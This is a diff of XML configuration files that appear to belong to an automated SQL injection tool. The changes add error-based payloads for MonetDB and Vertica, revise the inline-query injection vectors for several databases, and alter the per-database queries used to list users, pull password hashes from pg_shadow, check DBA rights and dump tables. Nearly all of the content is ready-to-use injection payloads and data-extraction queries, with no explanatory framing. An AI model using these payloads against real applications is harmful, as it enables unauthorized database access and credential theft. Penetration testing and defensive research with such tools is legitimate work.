<dbms value="CrateDB">
|
||||||
|
<error regexp="io\.crate\.client\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -704,6 +704,82 @@
|
||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MonetDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MonetDB</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Vertica AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Vertica</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Vertica</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
|
|
|
@ -3,19 +3,31 @@
|
||||||
<root>
|
<root>
|
||||||
<!-- Inline queries tests -->
|
<!-- Inline queries tests -->
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL inline queries</title>
|
<title>Generic inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>1</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
|
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
|
||||||
|
<request>
|
||||||
|
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL inline queries</title>
|
||||||
|
<stype>3</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8</clause>
|
||||||
|
<where>3</where>
|
||||||
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||||
<request>
|
<request>
|
||||||
<!-- These work as good as ELT(), but are longer
|
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
-->
|
|
||||||
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
@ -28,7 +40,7 @@
|
||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL inline queries</title>
|
<title>PostgreSQL inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
|
@ -47,13 +59,13 @@
|
||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase inline queries</title>
|
<title>Microsoft SQL Server/Sybase inline queries</title>
|
||||||
<stype>3</stype>
|
<stype>3</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8</clause>
|
<clause>1,2,3,8</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
|
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
@ -74,7 +86,8 @@
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
|
||||||
|
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
@ -93,7 +106,7 @@
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
|
||||||
<request>
|
<request>
|
||||||
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
|
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
|
||||||
</request>
|
</request>
|
||||||
<response>
|
<response>
|
||||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
|
|
@ -1,9 +1,9 @@
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- MySQL -->
|
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
<cast query="CAST(%s AS CHAR)"/>
|
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
|
||||||
|
<cast query="CAST(%s AS NCHAR)"/>
|
||||||
<length query="CHAR_LENGTH(%s)"/>
|
<length query="CHAR_LENGTH(%s)"/>
|
||||||
<isnull query="IFNULL(%s,' ')"/>
|
<isnull query="IFNULL(%s,' ')"/>
|
||||||
<delimiter query=","/>
|
<delimiter query=","/>
|
||||||
|
@ -29,8 +29,8 @@
|
||||||
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
|
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
|
||||||
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
|
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
|
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
|
||||||
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
|
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
|
||||||
</users>
|
</users>
|
||||||
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
<!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
|
||||||
<!-- https://stackoverflow.com/a/31122246 -->
|
<!-- https://stackoverflow.com/a/31122246 -->
|
||||||
|
@ -44,7 +44,7 @@
|
||||||
</privileges>
|
</privileges>
|
||||||
<roles/>
|
<roles/>
|
||||||
<statements>
|
<statements>
|
||||||
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
<inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
|
||||||
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
|
||||||
</statements>
|
</statements>
|
||||||
<dbs>
|
<dbs>
|
||||||
|
@ -77,11 +77,11 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- PostgreSQL -->
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
<isnull query="COALESCE(%s,' ')"/>
|
<!-- NOTE: PostgreSQL does not like COALESCE with different data-types (e.g. COALESCE(id,' ')) -->
|
||||||
|
<isnull query="COALESCE(%s::text,' ')"/>
|
||||||
<delimiter query="||"/>
|
<delimiter query="||"/>
|
||||||
<limit query="OFFSET %d LIMIT %d"/>
|
<limit query="OFFSET %d LIMIT %d"/>
|
||||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||||
|
@ -107,7 +107,7 @@
|
||||||
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
<check_udf query="(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)"/>
|
||||||
<users>
|
<users>
|
||||||
<inband query="SELECT usename FROM pg_user"/>
|
<inband query="SELECT usename FROM pg_user"/>
|
||||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
<blind query="SELECT DISTINCT(usename) FROM pg_user ORDER BY usename OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||||
</users>
|
</users>
|
||||||
<passwords>
|
<passwords>
|
||||||
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
|
<inband query="SELECT usename,passwd FROM pg_shadow" condition="usename"/>
|
||||||
|
@ -123,24 +123,24 @@
|
||||||
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '<IDLE>' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '<IDLE>'"/>
|
||||||
</statements>
|
</statements>
|
||||||
<dbs>
|
<dbs>
|
||||||
<inband query="SELECT schemaname FROM pg_tables"/>
|
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
|
||||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
<inband query="SELECT schemaname,tablename FROM pg_tables" condition="schemaname"/>
|
||||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<search_db>
|
<search_db>
|
||||||
<inband query="SELECT datname FROM pg_database WHERE %s" condition="datname"/>
|
<inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||||
<blind query="SELECT DISTINCT(datname) FROM pg_database WHERE %s" count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE %s" condition="datname"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" condition="schemaname"/>
|
||||||
</search_db>
|
</search_db>
|
||||||
<search_table>
|
<search_table>
|
||||||
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
|
<inband query="SELECT schemaname,tablename FROM pg_tables WHERE %s" condition="tablename" condition2="schemaname"/>
|
||||||
|
@ -152,7 +152,6 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft SQL Server -->
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
<cast query="CAST(%s AS NVARCHAR(4000))"/>
|
||||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||||
|
@ -199,8 +198,8 @@
|
||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>
|
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>
|
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||||
|
@ -224,7 +223,6 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
|
||||||
<dbms value="Oracle">
|
<dbms value="Oracle">
|
||||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||||
<length query="LENGTH(%s)"/>
|
<length query="LENGTH(%s)"/>
|
||||||
|
@ -242,6 +240,9 @@
|
||||||
<concatenate query="%s||%s"/>
|
<concatenate query="%s||%s"/>
|
||||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
<hex query="RAWTOHEX(%s)"/>
|
<hex query="RAWTOHEX(%s)"/>
|
||||||
|
<!--
|
||||||
|
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
|
||||||
|
-->
|
||||||
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
||||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||||
<current_user query="SELECT USER FROM DUAL"/>
|
<current_user query="SELECT USER FROM DUAL"/>
|
||||||
|
@ -318,7 +319,6 @@
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SQLite -->
|
|
||||||
<dbms value="SQLite">
|
<dbms value="SQLite">
|
||||||
<cast query="CAST(%s AS TEXT)" dbms_version=">=3.0"/>
|
<cast query="CAST(%s AS TEXT)" dbms_version=">=3.0"/>
|
||||||
